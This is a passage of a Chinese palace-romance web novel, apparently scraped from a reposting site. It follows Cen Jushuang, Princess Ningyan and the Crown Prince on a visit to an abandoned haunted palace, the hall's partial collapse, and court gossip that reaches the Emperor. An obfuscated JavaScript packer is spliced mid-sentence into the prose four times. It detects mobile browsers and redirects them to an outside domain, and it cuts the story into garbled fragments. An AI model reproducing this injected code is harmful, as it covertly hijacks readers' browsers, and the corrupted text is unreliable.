岑拒霜穿了件稍显素净的烟青罗裙,一至曲水亭,她便成了众目所瞩,好些打量的目光尽数落在了她身上。 “我说岑妹妹,身子不好就不要到处往外跑了,一会儿被风刮走了,上哪儿找个病秧子赔给你家侯爷去?” 凉亭内,贵女为首的薛映萱远远的说着,眼里尽是嫌弃。 近年京中女子追崇英气明动之风,少有羸弱盈盈之姿,薛映萱又生来性急,上回在林苑东园的赏春宴,她瞧着岑拒霜三步一喘气,十步就小歇的模样,怎么都觉着累赘。 若不是当着一众贵女的面,薛映萱就差直接拖着岑拒霜上山了。 流岚听罢就要张嘴反驳,岑拒霜抬手拦住了。 岑拒霜不紧不慢地走至人群里,径自无视了薛映萱的话,薛映萱更是气恼,却又只能杵在原地,看着她弱柳扶风地扶着丫鬟的手走来。 此间凉亭坐满了男男女女,正聚集一齐茶话闲聊,眼见岑拒霜来了,气氛稍有一瞬沉默。 这里头的人大多是赏春宴里与岑拒霜打过照面的,上回他们明里暗里地把岑拒霜排挤在外,这回又再撞见了,各自都在翻着眼珠子,心里编着怎么赶走她的理由。 毕竟掷花礼后,他们听说了岑拒霜的病气能够传染人,只要碰到她就会被染上,所以岑拒霜这些年才从不外出。 随后一青年干笑两声,试图从中缓和氛围,“岑姑娘,怎的没见江时青?” 青年手持折扇,晃悠悠地摇着风,扬眉笑时落得几分不羁气质。 岑拒霜倒是认得青年,这青年是为方家的九郎,与表哥有些交情,素日里喜流连京中酒肆,好玩乐,最擅长出一些好玩的点子,故好些世家子弟都乐于同他打交道。 她随意挑了个空位坐下,位子旁的贵女当即像事见了鬼似的往远些地方坐。 岑拒霜视若未见,答着方九郎的话,“哥哥今日家中有事,不便前来。” 话落时,亭中一道目光循声看来,随后便有一鹅黄宫装的身影站起。 那姑娘抱着臂,睨了眼满脸不爽的薛映萱,“薛映萱,岑妹妹身体不好,你不帮衬着些就算了,还这般说风凉话。” “你……” 薛 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14814240|158628||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 映萱刚想反驳,待发现说话的是谁后,又憋着火未言。 岑拒霜有些诧异。 这出面维护她的不是旁人,而是赏春宴上见过的宁妍公主。 只是当时碰见的场合不太光彩,二人也从未正式会面,岑拒霜只得假装不识地对宁妍眨了眨眼,便见宁妍大步走来,坐在了她身旁的空位,杏眼笑得弯弯。 “叫我宁妍就好啦。” 宁妍也不顾一众变得古怪的眼神,抓了一把瓜子儿塞到岑拒霜手里,对众人道:“适才说到哪儿了?继续啊。” 有了宁妍出面,话题很快从岑拒霜处带过,被围在中间的方九郎顿了顿,压低声续说着,“说到宿和宫……这些年无人居住,听夜里路过的宫人们讲,里头总是传出瘆人的声音,就像有人骨头被敲碎……” 说到尾句,方九郎的嗓音不受控制地颤抖着,宁妍嗑瓜子的动作都停止了,凉亭里的一众放缓了呼吸,凝神听他说着后面的话。 “咔嚓——” 偏在此时,一声不合时宜的声响打破了这其中寂静,像极了方九郎话中“敲碎骨头”的动作。 薛映萱被吓得一激灵,登时跳了起来就要往凉亭外跑。 但见一众稳坐如山,纹丝不动,薛映萱这才发现那“咔嚓”声并非是骨头被敲碎的动静,而是对座的岑拒霜在剥瓜子。 “你没事瞎发出什么动静?” 薛映萱两眼冒火,红着脸坐回了原位。 岑拒霜摊了摊手,“这里没有不让嗑瓜子的规矩,而且瓜子儿也是公主给我的。” 薛映萱怒目瞪着岑拒霜,偏又不敢大发雷霆,是她自己被岑拒霜嗑瓜子的声响吓到,别人都相安无事,她如何有理由发火? 宁妍续说道:“本公主住在皇宫里这么久,宿和宫里的动静,我怎么从未见过?” “公主的寝殿离宿和宫十万八千里,自是不知。” 方九郎神秘兮兮地说着,“我等听说宿和宫从前住的是一位妃子,二十年前,那妃子不知怎的就自尽了,之后这座宫殿没再住过人,一直搁置着,荒废至今。” 宁妍撇了撇嘴,“我父皇二十年来没新纳过妃嫔,无人入住不是很正常?” 方九郎无奈地看着宁妍,“说了那么多,你既然不信,那就跟我们一块儿去瞧瞧,是真是假,一看便知。” “少用激将法,你们不就是怕闯宫殿的责担不起,要我给你们背锅?” 宁妍轻哼着,她忽的想到了什么,转而面向岑拒霜时,语调放缓了不少,“你同我前去,怎么样?” 岑拒霜为之一怔,她懵然地看向宁妍,就差没把“我吗”俩字写脸上。 亭内众人面色各异,那宿和宫听着就不是个好地方,他们想去也是因为觉得新奇,想要寻求刺激,而宁妍把这病秧子带上,不就是存心要这病秧子出点什么意外么? 看来宁妍先前对岑拒霜的维护,不过是假意示好,等着在这里给岑拒霜挖坑呢。 宁妍轻扯了她的衣角,满脸期待地看着她,“去嘛去嘛。” 岑拒霜纠结之时,瞥见自己手心里的瓜子儿,联想起之前薛映萱的反应,她点了点头,“好啊。” 宁妍笑道:“那岑妹妹能把二哥请来一道前去吗?若有二哥在,我们去宿和宫出了什么事,父皇也不会太过于怪罪我们。” 话落时,一众脸色微变,又碍于是宁妍提出的,没有多说什么。 太子在皇子中排行老二,宁妍口中的人,自是太子。 可岑拒霜觉得,这宿和宫即便不是个闹鬼的地方,有太子在,不是也得是了。 “她怎么可能……” 薛映萱下意识脱口而出,即便她没把话说完,一众心思也不谋而合。 她怎么可能请得动太子呢? 11. 邀约 曲水亭间,薛映萱质疑的话方说出口,不远处传来不小的骚动。 岑拒霜偏过头瞧去,只见长长的廊庑尽头,一众驳杂的影子拥簇着一道峻拔身影。 那身明黄刺蟒金绣袍子尤为惹眼,往上是碧翠雀翎形状的单边耳坠,悬于脖颈间摇来晃去。今日太子束了发,这包裹住整个耳廓的耳饰便更加瞩目起来。 她盯着那雀翎的尾羽,莫名觉得太子今日像一只大摇大摆的花孔雀。 “太子殿下来了!” 不知谁人喊了一声,旋即四处鼎沸的人声渐消,此地一带的人影如同割麦子般齐唰唰地挨个朝着太子行礼,曲水亭坐着的一众也紧忙站起身躬拜着。 周围陷入诡异的安静,一众大气不敢出一声,任谁也不敢赌今日太子心情如何,谁又会做那个触霉头的倒霉蛋,只得默默祈祷太子今日未携狼出行,还不会注意到自己,否则落得个惹怒太子的下场,他们自家爹娘来了都不好使。 太子并未说话,岑拒霜却觉自己在被一双眼幽幽盯着,像是藏在密密麻麻影子里的猎物被凶兽锁定,逼人的目光缠在她身上,无处遁形。 她悄悄抬起眼皮,与太子的视线撞个正着。 众目睽睽下,岑拒霜仓皇挪开了眼,心跳不自觉地加速起来。 她的余光又见太子唇角微勾,随后他将双手背于身后,右手稍抬,往他左臂伤口处一捏。 “嘶——” 岑拒霜当场疼得吸了口凉气。 这声音本不大,放在落针可闻的环境里就极为突出。 顷刻间,数道目光看向了曲水亭内的岑拒霜,各自的神色变得精彩起来,有同情岑拒霜的,有看热闹的,也有幸灾乐祸的,无不是觉得岑拒霜被太子注意到,将要大祸临头了。 “都起来吧。” 太子散漫的嗓音传来,众人松了口气,暗自擦了擦冷汗。 看来这岑家小姑娘运气好,撞上今日太子心情还算不错,没有拿她开刃。 但众人正是起身捋着衣衫的间隙,晃眼见着太子竟举步而来。 胆子小些的,看着越发移近的太子,慌乱之中踩着了自己的衣摆,差点往前栽去。 一众心头惊诧不已。 太子怎么过来了?! 岑拒霜抬起头时,太子的身形已离自己越来越近,那盯着她的眸子似笑非笑,她却觉这凶兽的森森白牙已经近了自己脖颈,随时可能狠狠咬合而下。 她将脖子缩了缩。 恰是这个动作,太子的目光落至了她的衣襟。 今日她所着的是浅□□领,往常包裹严实的纤长细颈便露了出来,加之她离他实在近,他一眼便能看到她颈侧一点小小红痕——是上回那蛊虫钻进她皮肤里留下的。雪白的柔肤上一点晕开的朱色,他莫名想到宴上的透花糍,又白又软。 也不知咬上一口,是什么味道。 “孤派去侯府的御医,如何?” 太子并未压低声线,周围的众人都能将其所言尽收入耳中,一时众人脸色各异。 “托殿下关心,臣女很好。” 提及上回御医至府,害得她胆颤心惊,岑拒霜答言之时,语调不自觉地带了些许愤然。 太子看着她面带恼意的模样,觉得有趣。 “看样子不是很好,不如改日到孤的东宫里瞧瞧。” 众人本是猜着太子赐御医给岑拒霜的缘由,纷纷以为岑拒霜与太子之间有什么不为人知的秘密,而后听闻太子所言,他们觉着自己多想了,旋即大多数人对岑拒霜投以怜悯的目光。 人进了东宫还出得来么? 据说昔日有一臣子涉嫌犯案,原本是入牢提审,但拖了十天半月迟迟没有丝毫进展,太子转头把这臣子拿到了东宫去,不出三日,那臣子一股脑地全抖了出来,此后便有“宁死阎罗狱,不敢入东宫”的话。 薛映萱在旁讥讽地笑了笑,依着岑拒霜这弱不禁风的模样,入了东宫怕不是撑不过半刻钟。 岑拒霜自然也注意到周围人的神情,她默了半会儿,单刀直入地提了出来,“臣女今日想去宿和宫,若是有殿下在就好了。” 众人大惊失色,差点一口气没提上来。 她疯了吗?谁敢如此直白地和太子提要求的? 先前宁妍提出让岑拒霜请太子同行宿和宫,一众都抱着看戏的想法。在他们看来,岑拒霜不可能成功,他们也乐于看岑拒霜去太子那里碰一鼻子灰。 只是现下岑拒霜这样提,倘若太子被触怒,细究谁提出去宿和宫游玩的,他们一个也跑不掉。 一众后悔得紧。 谁能想到岑拒霜是这样莽撞不要命,还拉上他们所有人陪葬的? “从来没人敢和孤提要求。” 果不其然,太子的嗓音传来,众人瑟瑟发抖着一动不敢动。 岑拒霜暗暗弯起唇角。 她当然知道太子不会答应自己,所以才这般去吓一吓他们。 至于太子那边,大不了她说自己因为太子长得好看所以色胆包天,想去宿和宫的同时多看两眼,依着太子的性子,应当不会和自己计较。 未料太子下一句话让岑拒霜笑容凝固。 “宿和宫闹鬼,孤这样好看,正好去镇邪。” 岑拒霜怔怔地看着太子,再度确认着,“殿下……要去宿和宫?” “怎么?” 太子侧过头,雀翎耳坠的碧色映在了那双妖冶的眸子里,形如惊魂动魄的幽魅。 “觉着孤的脸不够?” 岑拒霜眼皮子跳得厉害,这下宿和宫是不闹鬼也得闹鬼了。 …… 曲水亭里,一众呆若木鸡,此事的结果超出了所有人的意料。 除了宁妍。 宁妍冷笑着从亭中站起,“你们还愣着干嘛?再不出发,要是回来晚了,就赶不上百花宴了。” 她自是知晓这二人有着一段往来。 那时她在赏春宴与情郎偷欢,浓重夜色里,宁妍听到有姑娘在暗处高声唤着“太子哥哥”,事后她的情郎去追,什么也没瞧见。 这姑娘当即引起了宁妍的兴趣。 皇室之中,从未有人喊太子“哥哥”。除了她因自小怕狼从不和太子打交道,皇室其余兄弟姐妹,大多背地里都骂过太子是狼 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14814241|158628||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 窝里出来的杂碎。儿时他们瞧不起太子,不会与其称兄道弟,现如今他们也没胆子喊了。 宁妍亦没胆去问太子,同他在一起的姑娘是谁,但从不同她往来的二哥,竟在赏春宴破天荒地借了她的竹楼和衣裙。 这姑娘还真是奇了。 回宫后她抑制不住自己的好奇心,变着法子对太子试探了几番,太子看穿后,说了句“孤不介意把你和你的情郎绑来与玄狼同住”,她只得作罢。 而宁妍在曲水亭听见岑拒霜口中说出的“哥哥”时,那音色与其惯用的语调,同那夜赏春宴上听得的“太子哥哥”极为相似,故宁妍几乎可以确认,岑拒霜便是那晚的姑娘。 故她对这结果毫不意外,心里还有几分欣慰。 一想到这么柔弱可依的美人将来会是她的皇嫂,宁妍怎么想都觉这二人般配。 她自小就喜欢美人,寝宫里伺候她的宫女们无不是生得好看的。京中生得美的姑娘或许有,但像岑拒霜这般气质脱俗的病美人,她还是头一次见。 宁妍方才远远地盯着太子和岑拒霜看,这俩人往那里一站,单是看着便觉养眼,赏心悦目。 岑拒霜自是不知宁妍所想,她虽不知宁妍为何让她去请太子同行宿和宫,细想下来,应是上次太子借了宁妍的竹楼及衣裙给她,宁妍误以为自己与太子关系不错。 一众去宿和宫的一路上,宁妍不是关心岑拒霜的身子,便是随手塞点小零食到她手心里。彼时她看着自己被塞得鼓鼓囊囊的荷包,里头尽是宁妍投喂的各式各样零食,她也朝着宁妍会心一笑。 但她发觉宁妍不知为何心情极佳,不论谁人同宁妍搭话,宁妍扬起的唇角都没压下去过,还时不时对她流露出别有意味的笑容,与岑拒霜适才在曲水亭里所见的宁妍有所不同。 直至宫墙一隅,陈旧的宫门现于视野,结了蛛网的飞甍下,斑驳的灰土里依稀可见“宿和宫”三个字。 一行人踏过长着青苔的门槛,便见门内荒枝横生,枯草连天,与宫门外绿野芳菲的春景迥然不同。 半挂在墙垣的殿门破败不堪,爬满了锈迹,里头重重帘幔飘动,黑漆漆得渗不进一丝光亮,除却厚厚的灰尘,无法窥见内里。 “这里……好黑啊。” 同行中的一人不禁说着,随后杂乱不齐的脚步声踏入宫殿,嗒嗒嗒地回响在空荡荡的殿内,每一步都像是密集的鼓点,混着时有时无的诡异风响,吹得纱幔哗啦哗啦,很快盖过了人声。 众人踏进殿内后,岑拒霜便落在了后头。 原本宁妍的手已是伸了过来,试图拉着她,但入殿门时空地太过狭窄,岑拒霜身形纤弱,活生生被挤在了人群之后,今时殿里伸手不见五指,饶是在前面的宁妍想找她,一时半会儿也找不着。 岑拒霜望着跟前乌泱泱的背影,紧凑的人影成了一面无缝的人墙,堵住了前面的视野,她在这些个世家小姐公子里年纪最小,个头也偏矮,眼下除了头顶房梁处飘拂的薄纱,她什么也瞧不见。 无奈之余,她只得往后退了退。 却是后背撞上一道硬如坚铁的身形,与此同时,浓郁的龙涎香弥怀。 12. 牵手 岑拒霜自始至终没能察觉到身后有人的存在。 这一撞,她险些惊呼出声。 胸口传来像是被尖尖的发簪戳了一下的轻微痛感,熟悉的龙涎香萦怀,她不用去看也知撞上了何人。 岑拒霜捂着自己的发簪重新别好,她回过头,只见幽暗的天光里,那雀翎耳坠映着碧蓝色的光点,往上瞧去时,太子戏谑的眸子正盯着她,显然是对她的反应并不意外。 此前去宿和宫的一路,太子嫌一众吵闹,直接下令让一众先行探路,自个儿悠哉地落在了末尾。众人反是松了口气,谁也不想同太子打交道,故他们心照不宣地加紧了脚程,只想把太子当尊大佛远远供着。 恰好她这个“遭人排挤又体弱的病秧子”掉了尾,便和太子一同出现在此处。 真是冤家路窄。 此番昏黑的殿门前,无人留意的人群后尾,太子微微弯腰,将面容移近她的耳畔,“你说……这里当真有鬼么?” 压低的嗓音仅余她可闻,岑拒霜只觉耳畔热气流转,烫得她耳廓酥酥麻麻的,还未等她偏过头去躲避,微不可闻的轻响从太子身后传来,是石子打落在殿门的动静。 “嘎吱——” 原本敞开的殿门忽的往里缓缓挪去,紧接着砰地一下合拢,众人亦缩紧脖子猛然一抖,纷纷往莫名其妙关上的门看去。 陷入黑暗的境地里,唯有破旧的门缝透过几分残存的天光,一众漆黑的影子里,即便是离门最近的人,也尚有一段距离,根本不可能伸手够得着门缘。 越是黑灯瞎火,周围越是安静得诡异。 直至一道尖锐的女声传来。 “有……有鬼啊!” 薛映萱撕扯着嗓子尖叫着,当即拽着周旁宁妍的衣衫就要往其背后缩。偏偏她本就生的高挑,宁妍的身形根本不够她缩身躲着,慌张之下,薛映萱只得求助最近的方九郎,梨花带雨地掐着方九郎胳膊。 “风吹的罢了……” 方九郎疼得龇牙咧嘴,薛映萱素日里喜练武,她的力气不比寻常男子小,被这么用力一掐,方九郎觉得自己的胳膊怕是紫了一片。他忍着痛翻找着怀里的火折子,待得点燃手心里的火时,岑拒霜遥遥看去,依稀可见他的双眼泛着泪光。 “薛映萱你能不能别吓我们啊?要是这点风吹草动都受不了,留在这里哪儿也别去得了!” “我怕是还没见到鬼,鬼都被你叫跑了。” …… 一众纷纷抱怨着,薛映萱红着个脸,抖着声一一反驳,尤为羞恼。 当下方九郎手里的火折子燃起,视野重归于明亮,站在后面的岑拒霜正踮着脚围观,心道这薛映萱胆子也忒小了些。 却听太子戏谑的嗓音问着,“你怎的不怕?” 她怔了怔,这有何怕? 这世上若真的有鬼,她应当高兴才是,她最不怕的便是鬼。 但见火光难以照得的边缘,太子兴致盎然地看着她,似乎期待着看到她害怕的模样。 岑拒霜联想到此前她听到的石头声响,这门应当是太子动的手,更何况她看得清楚,殿门自里往外闭上的,风也不可能从内吹过来。 意识到这是太子的恶作剧,岑拒霜想着薛映萱害怕的模样,玩心乍起,旋即她仰起脸扮作哭相,对着太子有模有样地学了起来。 “臣女真的好怕啊,差点要吓晕过 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14814242|158628||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 去了。” 话落时,岑拒霜还捂着心口,一副随时会昏迷的样子,虚声问着,“我能钻到殿下的身后躲着吗?” 太子唇角衔着的笑意愈深,“再哭得厉害些,不用钻,孤一路把你拎着,保证不会有鬼来吓你。” 岑拒霜动作一滞,她想起上回他揪着自己的衣领使起轻功来,差点没把她给勒死。 她拢了拢衣襟,心道,你分明比鬼还吓人好吧? “别闹了,抓紧时间,咱们还没到里面去看看呢。” 前处方九郎高声喊着,他举着火折子往寝殿深处走去,一众屏住呼吸,轻手轻脚地紧跟着,脚跟贴着脚跟,各自衣裳磨动的声响窸窸窣窣。 岑拒霜见着众人皆往前走,她提步便欲跟上,只是当下环境太黑,举目昏昏里,前面零星的火光随着方九郎的步子越来越远,她做了一个下意识的动作—— 她伸出手,牵住了一旁的人。 从前在府上休养身体时,岑拒霜白日里睡得多了,夜半总想在院子里走一走。往往此时,叔父就会来陪着她,一遍又一遍走过青石路,直至她困倦了回屋歇息。夜里视野昏昏,她会伸手紧紧握住叔父的手,这样走路不会太费力气,叔父近年夜里眼神不太好,牵着叔父,她还能帮扶着些。 久而久之,她与叔父同行时,若是眼前昏暗,她惯于牵住叔父。 可当下她的五指触及的手掌很是宽大,不似叔父的掌心粗糙干裂,唯有虎口有着一层薄薄的茧子,那手指的骨节修长如竹,拇指处还有硌手的冰凉硬物,应是玉扳指。 岑拒霜有一瞬间的怔神,随即很快反应了过来。 她把太子的手给牵过来了! 13. 舔舐 岑拒霜僵在了原地,好一会儿才侧过头看向太子,眼睑垂着不敢去细看他的神情。 难不成她要告诉他,自己不是有意冒犯,只是把他当作了她的叔父? 思忖再三,岑拒霜讪讪地笑了笑,“我……我担心殿下怕黑,所以擅作主张……牵、牵了殿下的手……” 说完她便赶紧把手抽出来,却是指节划过他的掌心时,她只觉自己的手被他倏地回握住。 太子将她的手又放回他的掌心,那纤手柔若无骨,一把握住并不费劲,只是她的手软得过于不像话了些,滑绵得如一团绸缎,他险些没能忍住用力捏上一捏。 确认她没再抽出手后,他幽幽说着,“孤确实怕。” “啊?” 岑拒霜不明所以,难道太子有什么难言之隐,还是儿时受过什么心灵创伤,才会怕黑? 昏黑视野里,除却一双眼,其余感官变得敏锐,她能真切感受到他的手很热。自己的手长年冰凉惯了,到了秋凉后更是离不开汤婆子,眼下这样温热的温度刚好适宜,像是一团包着火的帕子。 当然这“帕子”并不柔软,他掌心的纹路与茧子所在的位置,随着他微微移动的动作,一下又一下摩挲在她的手背,很痒,他宽大有力的指节向来不容人挣脱,紧紧扣着她无甚力气的细手。 岑拒霜莫名觉得脸颊泛着热意,好似他掌心的温度,从她的手处传感到她的脸上了。 又见太子俯身移近,那张在暗色里过于妖冶的脸在她眼前无限放大。 “这里这么黑,四处又破破烂烂,孤怕孤这张举世无双的脸,被弄花了。” 岑拒霜:“……” 太子无视了她略有凝滞的神情,他微眯着眼,虚指了指前面,“替孤看着路。” 那话说得理所当然,还毫不客气地催促着她牵他往前走。 岑拒霜脸上的热意退去,她盯着太子那张脸,咬牙切齿。 这张脸好看归好看,要是是个哑巴就更好了。 好在乌黑一片里,他们落在人群最末本就不怎么起眼,加之破旧窗棂处的风声较大,无人察觉他们之间发生了什么,也无人看到他们交叠在一起的两只手。 缓慢行进之际,岑拒霜瞥了眼自己被太子“绑架”的那只手,她劝着自己莫生气,权当自己在积善行德,替皇帝及其祖宗十八代,暂时拴住了一尊惹不起的大佛。 似是留意到岑拒霜幽怨的眼神,太子问道:“你对孤有什么意见吗?” 岑拒霜敷衍一笑,“没有,臣女怎敢?” 太子点点头,“孤怎么觉得,你把孤的祖宗十八代都问候了一遍?” 岑拒霜眸子弯得更深了,双眼眯成了月牙儿形,“是啊,臣女正跟他们挨个请安,以表尊敬。” 言罢,她只觉指节处握紧的大手忽的用力往后一拉,岑拒霜当即跌跌撞撞地往后退去,待她好不容易站稳了身,便听太子说着, “小心些,孤可不想你撞一身灰,再蹭到孤的身上。” 岑拒霜只当他有意报复自己,正想还嘴事,她蓦地听到周围有着接连不断的细微声响,像是什么东西断裂开来的声音。 “嘎、吱——” 在前处的一众也留意到这个动静,纷纷驻足在了原地没敢动弹。 岑拒霜感知到好些尘土落在了自己身上,她抬头瞧去,那断裂的声音似是来自于宫殿的穹顶…… 这里要塌了! “还不跑,等着孤给你收尸么?” 垮塌的动静愈发的急,如同繁音促节敲打在殿内所有人心尖,太子的嗓音从其间传来,岑拒霜还没来得及反应,他已是抓着她的手往殿外疾步离去。 迎面嚣然的风里,岑拒霜丝毫跟不上太子迅然的步伐,只觉自己的两条腿在被强行拖拽着往前,她根本分不清自己到底是在跑还是在做什么,一心只顾着使着两条腿不断迈着,像是费力拿着的剪子,有劲没劲地开合着。 身后惶恐的叫声充斥着整个宫殿,纷至沓来的脚步声盖过了那催命似的断裂动静。 不知过了多久,太子停了下来,被他紧紧握住的左手也松开了,眼前重获光亮,岑拒霜别过头去,半阖着眼,大口大口呼吸着。 她半分力气都没有了,喉咙烧灼得像是被火烫过,整个人也似打湿了的棉花,蔫蔫的,旋即她也顾不及太子在一旁,两腿一软 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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岑拒霜生怕他会把自己生吃了一般,她急忙就要缩回手,可那手心的血如何也止不住。 其实伤口不深,也算不上严重,不过是一道小小的划伤,坏就坏在她天生伤口凝血差,再小的伤口也会血流如涌,所以平常叔父和表哥都会把她呵护周全,以防她磕碰了半点。 久未受伤,不断冒出的血红色刺着眼睛,眼见就要沾染上衣袖,岑拒霜有些不知所措。 “还是需要孤帮你才行。” 14. 摸头 宁妍从宿和宫里逃出来后,便没能寻到岑拒霜。 好在宿和宫虽经年失修,有着断裂垮塌之象,最终也只是掉了些碎屑和残木下来,并无人员伤亡,即便岑拒霜来不及跑出来,也不会被砸伤。 可宁妍事后又寻了一遭,还远远的在殿门前唤着岑拒霜,依旧没有岑拒霜的身影。 直至她抓住了最先跑出殿内的方九郎,后者声称,他见到了岑拒霜和太子。 彼时宁妍听闻方九郎所述后瞪大了眼,揪着方九郎的衣领直直问道:“什么?你说你看到了什么?” 方九郎险些被猛然揪紧的襟□□活呛死。 待宁妍放开了他,他把着廊柱,弓着腰咳嗽了好一会儿才哑着嗓子重复了一遍,“我见到太子和岑姑娘两个人牵着手……在拉拉扯扯。” 他们在牵手? 宁妍面上浮现出难以掩饰的欢欣,她过度扬起的嘴角甚至让她的脸有些发疼。 但见方九郎摇摇晃晃地站直了身,她当即冷了张脸,抬起手横在自己脖颈迅然划过,威胁道:“你可要为我二哥保密,否则……” 方九郎连连应着,一副了然于胸的模样,“我懂,我懂,此事我定当守口如瓶。” 宁妍满意地拂袖离去。 如今岑拒霜与太子待在一起,宁妍很是放心。 她动身前往百花宴所设的曲水亭一带,半道见着两个太监正埋头窃窃私语,模样鬼鬼祟祟。风稍拂过,她隐约听见了“太子”二字。 放在从前,宁妍没什么心思去关注太子的闲言碎语,可如今太子同岑拒霜在一块,她便多留了几个心眼。 宁妍放缓了步子,侧耳细听,而此间风声沙沙作响,她什么也没能听清。 她只好踮着脚,悄无声息地绕到了两位太监身后,压着声线幽幽问着,“你俩嘀嘀咕咕的在说什么呢?” 两位太监被吓得够呛,转身欲逃时又慌不择路,与对方互撞了个头,二人便绊着脚摔在了地上。 得见来人是为宁妍公主后,二人慌忙摆着姿态,爬正了身朝着宁妍下跪行礼,“参见公主殿下。” 宁妍直言问道:“你们瞧见了太子?” 摔得灰头土脸的太监连连挥手,“没没没有……” 宁妍自是不信,蹙起眉问道:“那你们在说什么?” 面庞稍干净些的太监生怕受责罚,拦着另个主动站出,对着宁妍一股脑地抖了出来。 “我们也是道听途说……说,说是,东宫这些年一直未有太子妃,不是因为太子殿下对女色毫无兴趣……” 宁妍奇道:“那是为何?” 太监吞了口唾沫,“恰恰相反……太子殿下在东宫藏了一位如花似玉的美人,日夜宠幸。” 宁妍想也未想便怒声反驳,“荒谬!这怎么可能?” 她最看好的明明是岑拒霜,怎的一朝蹦了个藏娇的美人? 另个脏兮兮的太监抹了把脸,“公主,有人亲眼目睹,太子殿下对着美人俯首跪地,拉着美人的手吻了好久……还,还说着要美人回东宫,别再被人瞧见了去。” 宁妍呼吸就此滞住,她似是能想象出这样的画面,那美人不可方物,懒懒地卧在一旁,太子朝其俯首跪地,引手而吻……这如何想,如何都觉吊诡。 要知道,那可是身份尊贵的太子,素日里无人敢招惹,宁妍向来都不敢多正视一眼,有朝一日竟会…… “那美人听说是有名字的,约莫着叫什么……” 俩太监努力回忆着,嘴里碎碎念着听来的字音,“好像是……什么霜……” “岑拒霜。” “对对……是这个名!” 俩太监拍着手连连点头,反应过来后,满脸疑惑地看着宁妍,“……公主您怎知?” 宁妍看着俩愣头青:“……” * 长云殿,是为此次百花宴皇帝临时休憩之所。 正值午后闲适,皇帝独坐檀木案处,琉璃盏内泡着方撷来煮好的花茶,盏缘处淡淡白雾氤氲,飘散至皇帝手边翻动的画像,其上各家贵女窈窕,蛾眉曼睩,样貌个个出挑。 案畔生着白须的老太监躬身同看着,翘着个兰花指,虚将画像一指,嘴里念叨着“哎呀呀,这个的样貌配不上咱们殿下”、“这姑娘不行,上回面圣都被吓得够呛”……皇帝翻来覆去地瞅着,画像的纸页翻得哗哗作响,他摸着下巴,怎么也觉不满意。 皇帝挑着的间隙,忽闻殿外小太监传了谁人求见的话,他心不在焉地点了点头,少顷余光瞥见岑侯爷风风火火地入了内。 “不涣来了?” 皇帝当即笑逐颜开,搁置下画像,紧忙招呼着,“快快,来人,赐座。” 但见岑侯爷提起衣摆跪下,洪钟似的嗓门儿荡于殿内,“还请陛下归还臣的小侄女!” 皇帝满头雾水,不明岑侯为何怒气冲冲,他抬手让岑侯起身的间隙,却也抓住了岑侯话中的重点,“归还?” 岑侯爷拧着粗眉,强忍着抗起刀冲去东宫的冲动,“小霜今日入宫,不知怎的就被你家宝贝太子看上了!当然啊,我家小霜长这么好看,性子又好,他看上也是应该的。但他直接把我家小霜拐去了东宫是想做什么?现在外面都传遍了!” 皇帝怔了好一会儿,才确认岑侯爷话中所言的人是太子。 他沉吟着,“这里面是不是有什么误会……” 话落时,岑侯爷脸色越发的黑,皇帝招手唤着身旁的老太监,“去,到外面打听下,究竟是怎么回事。” 老太监领命而去,“喏。” “不涣啊,来来,先坐下,喝口茶。” 皇帝热切招待着岑侯爷入了座,又好声好气地劝着,“述儿他打小就没对女色上心过,不然朕也不会这般愁眉苦脸了。说不定,述儿只是带你小侄女去东宫调养身体呢?朕把太医院最好的陈御医都赏给他了,你家小侄女过去不会有事的。” 岑侯爷脸上的肉气得微微发颤,见他端起茶盏便一饮而尽,“咚”地一声重重叩在了檀木桌上,皇帝眼皮子也跟着抖了抖。 一盏茶后,老太监回了长云殿,面色尤为古怪。 他快步朝前回禀着话,“陛下,老奴……去外面打听了一圈。” 皇帝问,“如何?” 老太监欲言又止,“外面说,说……” 皇帝催促着话,“到底说了何?” 老太监苦着脸,舌头打结了一般,“说……太子殿下在给岑姑娘……当狗。” “简直胡闹!” 皇帝怒声喝着,殿内所有宫人齐唰唰地跪了下来,匍伏在地不敢动弹。 同样跪于地的老太监叹声想着,当今圣上最疼太子,自小就依着顺着,生怕太子有哪里不好。这下百花宴闹得沸沸扬扬,太子的名声遭到如此诋毁,圣上如何不会动怒? 皇帝满脸恨铁不成钢,“不涣你看这逆子也忒顽劣,怎能把小霜……” 话至一半,皇帝倏地反应过来。 怎么和他想象中的不太一样? 他转过头看向老太监,“太子在做何?” 老太监又复述了一遍,“太子殿下……在给岑姑娘,当狗。” * 皇宫某处。 